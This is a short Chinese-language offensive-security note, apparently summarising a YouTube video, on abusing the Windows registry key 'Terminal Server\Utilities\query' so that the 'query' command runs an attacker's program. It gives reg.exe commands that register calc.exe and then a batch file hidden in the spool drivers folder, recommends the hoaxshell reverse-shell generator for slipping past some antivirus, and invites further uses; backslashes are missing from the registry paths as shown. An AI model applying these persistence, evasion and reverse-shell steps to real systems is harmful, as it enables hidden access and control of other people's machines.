From：https://www.youtube.com/watch?v=gzv3d7rvjKA

注冊表路徑：

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerUtilitiesquery

包含了與終端服務(wù)器相關(guān)的設(shè)置和配置信息。

執(zhí)行命令query可以查看服務(wù)器的一些狀態(tài)，實際上是執(zhí)行此項值中的可執(zhí)行文件。

添加一條，打開計算器。

reg.exe add "HKLMSYSTEMCurrentControlSetControlTerminal ServerUtilitiesquery" /v heresec /t REG_MULTI_SZ /d 01hereseccalc.exe

這里再介紹一個能夠繞過一些AV的Windows反向shell生成器和交互程序。（測試環(huán)境用的X絨，可以繞過，經(jīng)測試不能繞過Windows Defender的AMSI）。

https://github.com/t3l3machus/hoaxshell

將命令寫入一個bat腳本中，然后添加注冊表后執(zhí)行。

reg.exe add "HKLMSYSTEMCurrentControlSetControlTerminal ServerUtilitiesquery" /v heresec /t REG_MULTI_SZ /d 01heresecC:WindowsSystem32spooldriverscolor1.bat query heresec

只需執(zhí)行命令query heresec即可運行反彈shell腳本。

還能怎么用，再聯(lián)想一下。